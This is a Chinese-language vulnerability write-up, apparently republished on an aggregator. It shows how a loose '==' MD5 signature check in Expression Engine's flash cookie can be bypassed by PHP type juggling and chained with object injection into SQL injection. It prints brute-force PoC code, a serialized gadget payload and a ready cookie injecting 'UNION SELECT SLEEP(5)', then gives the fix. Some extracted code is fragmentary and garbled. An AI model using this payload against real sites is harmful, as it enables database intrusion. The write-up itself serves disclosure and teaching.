Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

另类PHP安全漏洞分析:弱类型的利用进行SQLi PHP安全 PHP安全漏洞 弱类型 对象注入 SQ ...

0
0

另类php安全漏洞分析:弱类型的利用进行SQLi。最近,我在一个目标中寻找漏洞时,遇到了一个正在运行Expression Engine(一个CMS平台)的主机。 这个特殊的应用程序吸引了我,因为当我尝试使用 “admin” 为用户名登录该应用程序时,服务器响应的cookie中包含了PHP序列化数据。 如我们 之前所说过的 ,反序列化用户提供的数据可能导致意外的结果; 在某些情况下,甚至会导致代码执行。 于是,我决定仔细检查一下,而不是盲目的去测试,先看看我能否可以下载到这个CMS的源码,通过代码来弄清楚序列化数据的过程中到底发生了什么,然后启动一个本地搭建的副本进行测试。

当我有了这个CMS的源码后,我使用grep命令定位到了使用cookie的位置,并找到文件“./system/ee/legacy/libraries/Session.php”,发现cookie用在了用户会话维持,这个发现非常有意义。 仔细看了看Session.php,我发现了下面的方法,它负责将序列化的数据进行反序列化: protected function _prep_flashdata() { if ($cookie = ee()->input->cookie('flash')) { if (strlen($cookie) > 32) { $signature = substr($cookie, -32); $payload = substr($cookie, 0, -32); if (md5($payload.$this->sess_crypt_key) == $signature) { $this->flashdata = unserialize(stripslashes($payload)); $this->_age_flashdata(); return; } } } $this->flashdata = array(); }通过代码,我们可以看到在我们的cookie被解析之前执行了一系列检查,然后在1293行的代码处进行了反序列化。所以让我们先看看我们的cookie,通过检查,看看我们是否可以调用到“unserialize()”: a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4URL解码后如下: a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4如果存在flash cookie,我们就将数据加载到 “$ cookie”变量中(在1284行处的代码),然后继续往下执行。 接下来我们检查cookie数据的长度是否大于32(在1286行处的代码),继续往下执行。 现在我们使用“substr()”来获取cookie数据的最后32个字符,并将其存储在“$signature”变量中,然后将其余的cookie数据存储在“$ payload”中,如下所示: $ php -aInteractive mode enabledphp > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';php > $signature = substr($cookie, -32);php > $payload = substr($cookie, 0, -32);php > print "Signature: $signature\n";Signature: 3f7d80e10a3d9c0a25c5f56199b067d4php > print "Payload: $payload\n";Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}php >现在在第1291行的代码中,我们计算了“$ payload.$ this-> sess_crypt_key”的md5哈希值,并将其与我们在如上所示的cookie结尾处提供的“$signature”进行比较。 通过快速查看代码,发现“$ this-> sess_crypt_cookie”的值是从安装时创建的“./system/user/config/config.php”这个文件中传递过来的: ./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';所以让我们将这个“$ this-> sess_crypt_key”手动定义为“$ salt”,看看md5哈希值: php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79';php > print md5($payload.$salt);3f7d80e10a3d9c0a25c5f56199b067d4php >确定md5哈希值与“$ signature”相等。 执行此检查的原因是为了确保“$payload”(即序列化的数据)的值未被篡改。 如此起来,这种检查确实足以防止这种篡改; 然而,由于PHP是一种弱类型的语言,在执行比较时存在一些陷阱。 不严格的比较导致“翻船” 让我们看一些比较松散的比较案例,以获得一个好的构造payload的方法: Output:
$ php steps.phpint(1)int(1)a and b are the same Output: $ php steps.phpint(1)int(0)a and b are NOT the same Output: $ php steps.phpstring(18) "these are the same"string(18) "these are the same"a and b are the same Output: $ php steps.phpstring(22) "these are NOT the same"string(18) "these are the same"a and b are NOT the same看起来PHP是 “有帮助”于比较操作运算,在比较时会将字符串转换为整数。最后,现在让我们看看当我们比较两个看起来像用科学记数法写成的整数的字符串时会发生什么: Output:$ php steps.phpstring(32) "0e111111111111111111111111111111"string(32) "0e222222222222222222222222222222"a and b are the same通过上面的结果可以看到,即使变量“$ a”和变量“$ b”都是字符串类型,并且明显有着不同的值,使用宽松比较运算符会导致比较求值结果为true,因为在PHP中将“0ex”转换为整数时总是为零。 这被称为Type Juggling。 弱类型比较——Type Juggling 有了这个新的知识,让我们重新检查一下本应该防止我们篡改序列化数据的检查: if (md5($payload.$this->sess_crypt_key) == $signature)我们在这里能够控制“$ payload”的值和“$ signature”的值,所以如果我们能够找到一个payload,使得“$ this->sess_crypt_key”的md5值成为一个以0e开头并以所有数字结束的字符串,或者是 “$ signature”的MD5哈希值设置为以0e开头并以所有数字结尾的值,我们就可以成功的绕过这种检查。 为了测试这个想法,我修改了一些我在网上找到的代码,我将爆破“md5($ payload.$ this-> sess_crypt_key),直到出现我“篡改”的payload。 来看看原来的“$ payload”的样子: $ php -aInteractive mode enabledphp > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';php > $signature = substr($cookie, -32);php > $payload = substr($cookie, 0, -32);php > print_r(unserialize($payload));Array([:new:username] => admin[:new:message] => That is the wrong username or password)php >在我的新的“$ payload”变量中,显示的内容是“错误的用户名或密码”,而我想显示的是“taquito”。 序列化数组的第一个元素“[:new:username] => admin”似乎是一个可以创建一个随机值的好地方,所以这就是我们的爆破点。 注意:这个PoC是在我本地离线工作,因为我有权访问我自己的实例“$ this-> sess_crypt_key”,如果我们不知道这个值,那么我们就只能在线进行爆破了。 #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } }}function recurse($width, $position, $base_string){ global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); }}for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) { echo "Checking passwords with length: $i\n"; recurse($i, 0, '');}?>当运行上面的代码后,我们得到了一个修改过的“$ payload”的 md5哈希值并且我们的 “$ this-> sess_crypt_key”的实例是以0e开头,并以数字结尾: $ php poc1.phpChecking passwords with length: 1Checking passwords with length: 2Checking passwords with length: 3Checking passwords with length: 4Checking passwords with length: 5a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758让我们将这个散列值与任何“$ signature”的值(我们所能够提供的)进行比较,该值也以0e开头并以所有数字结尾: Output:$ php steps.phpstring(32) "0e553592359278167729317779925758"string(32) "0e222222222222222222222222222222"a and b are the same正如你所看到的,我们已经通过(滥用)Type Juggling成功地修改了原始的“$ payload”以包含我们的新消息“taquito”。 当PHP对象注入与弱类型相遇会得到什么呢?SQLi么? 虽然能够在浏览器中修改显示的消息非常有趣,不过让我们来看看当我们把我们自己的任意数据传递到“unserialize()”后还可以做点什么。 为了节省自己的一些时间,让我们修改一下代码: if(md5($ payload。$ this-> sess_crypt_key)== $ signature) 修改为:if (1) 上述代码在“./system/ee/legacy/libraries/Session.php”文件中,修改之后,可以在执行“unserialize()”时,我们不必提供有效的签名。 现在,已知的是我们可以控制序列化数组里面“[:new:username] => admin”的值,我们继续看看“./system/ee/legacy/libraries/Session.php”的代码,并注意以下方法: function check_password_lockout($username = '') { if (ee()->config->item('password_lockout') == 'n' OR ee()->config->item('password_lockout_interval') == '') { return FALSE; } $interval = ee()->config->item('password_lockout_interval') * 60; $lockout = ee()->db->select("COUNT(*) as count") ->where('login_date > ', time() - $interval) ->where('ip_address', ee()->input->ip_address()) ->where('username', $username) ->get('password_lockout'); return ($lockout->row('count') >= 4) ? TRUE : FALSE; }这个方法没毛病,因为它在数据库中检查了提供的“$ username”是否被锁定为预认证。 因为我们可以控制“$ username”的值,所以我们应该能够在这里注入我们自己的SQL查询语句,从而导致一种SQL注入的形式。这个CMS使用了数据库驱动程序类来与数据库进行交互,但原始的查询语句看起来像这样(我们可以猜的相当接近): SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > '$interval' AND `ip_address` = '$ip_address' AND `username` = '$username';

修改“$payload”为: a:2:{s:13:":new:username";s:1:"'";s:12:":new:message";s:7:"taquito";}并将其发送到页面出现了如下错误信息,但由于某些原因,我们什么也没有得到…… “Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ”’ at line”不是我想要的类型… 经过一番搜索后,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下代码: function escape($str) { if (is_string($str)) { $str = "'".$this->escape_str($str)."'"; } elseif (is_bool($str)) { $str = ($str === FALSE) ? 0 : 1; } elseif (is_null($str)) { $str = 'NULL'; } return $str; }在第527行,我们看到程序对我们提供的值执行了“is_string()”检查,如果它返回了true,我们的值就会被转义。 我们可以通过在函数的开头和结尾放置“var_dump”并检查输出来确认这里到底发生了什么: 前: string(1) "y"int(1)int(1)int(1)int(0)int(1)int(3)int(0)int(1)int(1486399967)string(11) "192.168.1.5"string(1) "'"int(1)后: string(3) "'y'"int(1)int(1)int(1)int(0)int(1)int(3)int(0)int(1)int(1486400275)string(13) "'192.168.1.5'"string(4) "'\''"int(1)果然,我们可以看到我们的“'”的值已经被转义,现在是“\'”。 幸运的是,对我们来说,我们还有办法。 转义检查只是检查看看“$ str”是一个字符串还是一个布尔值或是null; 如果它匹配不了任何这几个类型,“$ str”将返回非转义的值。 这意味着如果我们提供一个“对象”,那么我们应该能够绕过这个检查。 但是,这也意味着接下来我们需要搜索一个我们可以使用的对象。 自动加载给了我希望! 通常,当我们寻找可以利用unserialize的类时,我们通常使用魔术方法(如“__wakeup”或“__destruct”)来寻找类,但是有时候应用程序实际上会使用自动加载器。 自动加载背后的一般想法是,当一个对象被创建后,PHP就会检查它是否知道该类的任何东西,如果不是,它就会自动加载这个对象。 对我们来说,这意味着我们不必依赖包含“__wakeup”或“__destruct”方法的类。 我们只需要找到一个调用我们控制的“__toString”的类,因为应用程序会尝试将 “$ username”变量作为字符串使用。 寻找如这个文件中所包含的类: “./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:has_value; } public function setValue($value) { if (is_string($value)) { $value = str_replace( array('{', '}'), array('{', '}'), $value ); } $this->value = $value; $this->has_value = TRUE; } public function value() { // in this case the parent assumption is wrong // our value is definitely *not* the template string if ( ! $this->has_value) { return NULL; } return $this->value; } public function __toString() {

if ($this->has_value) { return var_export($this->value, TRUE); } return $this->lexeme; } } // EOF这个类看起来非常完美! 我们可以看到对象使用参数“$lexeme”调用了方法“__construct”,然后调用“__toString”,将参数“$ lexeme”作为字符串返回。 这正是我们正在寻找的类。 让我们组合起来快速为我们创建序列化对象对应的POC: lexeme = "'";echo serialize($x)."\n";?>Output:$ php poc.phpO:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"'";}经过几个小时的试验和错误尝试,最终得出一个结论:转义在搞鬼。 当我们将我们的对象添加到我们的数组中后,我们需要修改上面的对象(注意额外的斜线): a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"'";}}我们在代码之前插入用于调试的“var_dump”,然后发送上面的payload,显示的信息如下: string(3) "'y'"int(1)int(1)int(1)int(0)int(1)int(3)int(0)int(1)int(1486407246)string(13) "'192.168.1.5'"object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) { ["has_value":protected]=> bool(false) ["type"]=> NULL ["lexeme"]=> string(1) "'" ["context"]=> NULL ["lineno"]=> NULL ["value":protected]=> NULL}注意,现在我们有了一个“对象”而不是一个“字符串”,“lexeme”的值是我们的非转义“'”的值!可以在页面中更进一步来确认:

Exception Caught

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 5:SELECT COUNT(*) as countFROM (`exp_password_lockout`)WHERE `login_date` > 1486407246AND `ip_address` = '192.168.1.5'AND `username` = '
mysqli_connection.php:122Awww! 我们已经成功地通过PHP对象注入实现了SQL注入,从而将我们自己的数据注入到了SQL查询语句中! PoC! 最后,我创建了一个PoC来将Sleep(5)注入到数据库。 最让我头疼的就是应用程序中计算“md5()”时的反斜杠的数量与成功执行“unserialize()”需要的斜杠数量, 不过,一旦发现解决办法,就可以导致以下结果: {C}recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); }}for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) { echo "Checking garbages with length: $i\n"; recurse($i, 0, '');}?>Output:$ php poc2.phpa:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821以及我们发送到服务器的payload(再次注意那些额外的斜杠): Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821五秒后我们就得到了服务器的响应。 修复方案! 这种类型的漏洞修复真的可以归结为一个“=”,将:if (md5($payload.$this->sess_crypt_key) == $signature)替换为:if (md5($payload.$this->sess_crypt_key) === $signature) 除此之外,不要“unserialize()”用户提供的数据!

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images